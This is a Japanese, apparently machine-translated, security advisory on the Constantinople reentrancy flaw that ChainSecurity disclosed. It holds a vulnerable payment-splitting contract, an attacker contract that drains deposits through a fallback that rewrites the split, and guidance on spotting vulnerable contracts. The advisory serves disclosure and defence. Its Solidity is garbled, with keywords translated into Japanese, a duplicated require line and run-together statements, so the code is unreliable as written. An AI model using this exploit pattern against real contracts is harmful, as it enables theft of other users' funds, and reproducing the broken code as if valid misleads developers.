イーサリアムコンスタンチノープルアップグレードの脆弱性の分析

1月15日、ChainSecurityはイーサリアムのコンスタンティノープルハードフォークアップグレードに関連する脆弱性を開示する記事を公開し、このアップグレードにより再突入攻撃が発生すると主張した。これにより、イーサリアムの公式ブログは後に、当初ブロック高7080,000（北京時間1月17日午前頃）に実施される予定だったハードフォークを延期する決定を発表した。以下は ChainSecurity によって公開されたこの脆弱性の詳細です。

イーサリアムの今後のコンスタンティノープルハードフォークアップグレードにより、特定の SSTORE 操作のガスコストが安くなります。望ましくない副作用として、 Solidity で記述されたスマートコントラクトでaddress.transfer(...)またはaddress.send(...)を使用すると、再入攻撃が発生する可能性があります。アップグレード前は、これらの関数は再入可能で安全であると考えられていましたが、アップグレード後は安全ではなくなりました。

このコードの何が問題なのでしょうか?

以下は、コンスタンティノープル以前は再入攻撃に対して脆弱ではないが、コンスタンティノープル以降は脆弱になる短いスマートコントラクトです。

攻撃者の契約を含む完全なソースコードは、GitHub でご覧いただけます: https://github.com/ChainSecurity/constantinople-reentrancy

pragma solidity ^0.5.0;

契約 PaymentSharer { マッピング(uint => uint) 分割;マッピング(uint => uint) デポジット;最初にマッピング(uint => 支払先住所)マッピング(uint => 支払可能アドレス) 2番目;

function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0));要求(最初の[id] == アドレス(0) && 2番目の[id] == アドレス(0)); first[id] = _first;秒[id] = _秒; }

関数deposit(uint id) public payable { deposits[id] += msg.value; }

関数 updateSplit(uint id, uint split) パブリック { require(split <= 100); splits[id] = 分割; }

function splitFunds(uint id) public { // ここに次の内容があります: // 両当事者がこの分割に同意する署名

// アドレスを分割 payable a = first[id];支払先住所 b = second[id]; uint depo = デポジット[id];預金[id] = 0;

a.transfer(depo * splits[id] / 100); b.transfer(depo * (100 - splits[id]) / 100); } }

最新の脆弱なコードの例。

このコードは予期せぬ形で脆弱であり、安全な金庫共有サービスをシミュレートしていました。両当事者は共同で資金を受け取り、その分配方法を決定し、合意した場合には支払いを受けることができます。攻撃者は、最初のアドレスが攻撃者自身で以下にリストされているアドレス、2 番目のアドレスが攻撃者のアカウントのいずれかであるアドレスのペアを作成します。このアドレスのペアに、攻撃者はいくらかのお金を入金します。

pragma solidity ^0.5.0;

"./PaymentSharer.sol"をインポートします。

契約攻撃者 { 住所個人被害者;支払先所有者の住所;

コンストラクター（）パブリック{所有者= msg.sender; }

関数 attack(アドレス a) 外部 { 被害者 = a;支払いシェアー x = 支払いシェアー(a);分割数: 0, 100分割資金(0); }

関数（）支払い可能な外部{アドレスx = 被害者;アセンブリ{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } }

関数drain() 外部 { owner.transfer(address(this).balance); } }

攻撃者は最初のアドレスとして契約する

攻撃者は自分のコントラクトで攻撃関数を呼び出し、1 つのトランザクションで次のイベントが展開されます。

1. 攻撃者は、 updateSplitを使用して現在の分割を設定し、将来の更新が安価であることを保証します。これがコンスタンティノープルアップグレードの効果です。攻撃者は、最初のアドレス (コントラクト) がすべての資金を受け取るように分割を設定します。

2. 攻撃者のコントラクトはsplitFunds関数を呼び出し、チェック* を実行し、転送を使用して、このアドレスのペアの預金全体を 1 回の転送でこのコントラクトに送信します。

3. フォールバック機能では、攻撃者は再度分割を更新し、今回はすべての資金を 2 番目のアカウントに割り当てます。

4. splitFundsの実行は継続され、すべての入金も 2 番目の攻撃者のアカウントに転送されます。

つまり、攻撃者はPaymentSharer契約から他の人の ETH を盗んだだけで、今後も盗み続けることができるのです。

なぜ今攻撃できるのか？

コンスタンティノープルのアップグレード前は、各ストレージ操作に少なくとも 5,000 ガスのコストがかかっていました。これは、 transferまたはsendを呼び出すときに送信される 2300 ガス許容量をはるかに超えています。

コンスタンティノープルのアップグレード後、「ダーティ」ストレージスロットを置き換えるストレージ操作のコストは 200 ガスのみになります。スロットがダーティになるためには、進行中のトランザクション中に変更される必要があります。上記のように、攻撃者は通常、何らかのパブリック関数を呼び出して目的の変数を変更することでこれを実現できます。次に、脆弱なコントラクトに攻撃者のコントラクトを呼び出させます。例: msg.sender.transfer(…) 、攻撃者のコントラクトは 2300 ガスの許容量を使用して脆弱な変数を正常に操作できます。

契約が脆弱であるためには、特定の前提条件を満たす必要があります。

1. transfer/send後に状態変更操作が続く関数 A が存在する必要があります。これは、二次transferや他のスマートコントラクトとのやり取りなど、明らかでない場合があります。

2. 攻撃者がアクセス可能で、(a) 状態を変更し、(b) 機能 A の状態と競合する方法で状態を変更する機能 B が存在する必要があります。

3. 機能 B は 1600 ガス未満で実行する必要があります (2300 ガスの許容量 - 呼び出し用の 700 ガス)

私のスマートコントラクトは脆弱ですか?

契約に脆弱性があるかどうかをテストします。

(a) transferイベント後に何らかの操作があるかどうかを確認します。 (b) これらの操作によって、通常は何らかのストレージ変数を割り当てることによってストレージ状態が変化するかどうかを確認します。トークンtransferメソッドなどの別のコントラクトを呼び出す場合は、どの変数が変更されるかを確認します。リストを作ります。 (c) 管理者以外のユーザーからアクセスされる他のメソッドがこれらの変数のいずれかを使用しているかどうかを確認します。 (d) これらのメソッド自体がストレージ状態を変更しないことを確認します。 (e) メソッドが 2300 ガス未満であることを確認します。SSTORE 操作は 200 ガスのみになる可能性があることに注意してください。

上記のすべてが状況に当てはまる場合、攻撃者が契約を望ましくない状態にしてしまう可能性が高くなります。全体として、これは、チェック - 効果 - 相互作用パターンが非常に重要である理由をもう一度思い出させるものです。

脆弱なスマートコントラクトはありますか?

eveem.org のデータを使用して Ethereum メインチェーンをスキャンしたところ、脆弱なスマートコントラクトは見つかりませんでした。私たちは、ethsecurity.org ワーキンググループのメンバーと協力して、まだ逆コンパイルされていない複雑なスマートコントラクトにスキャンを拡張しています。特に、信頼できないアカウントへの ETH 転送関数を呼び出して状態を変更することが多い分散型取引所は、脆弱である可能性があります。当社の静的アナライザー https://securify.chainsecurity.com は潜在的な再入攻撃を検出でき、関連するパターンは https://github.com/eth-sri/securify でオープンソース化されています。再入攻撃に関する警告は多くの場合悪用されることはありません。ただし、慎重な分析が必要です。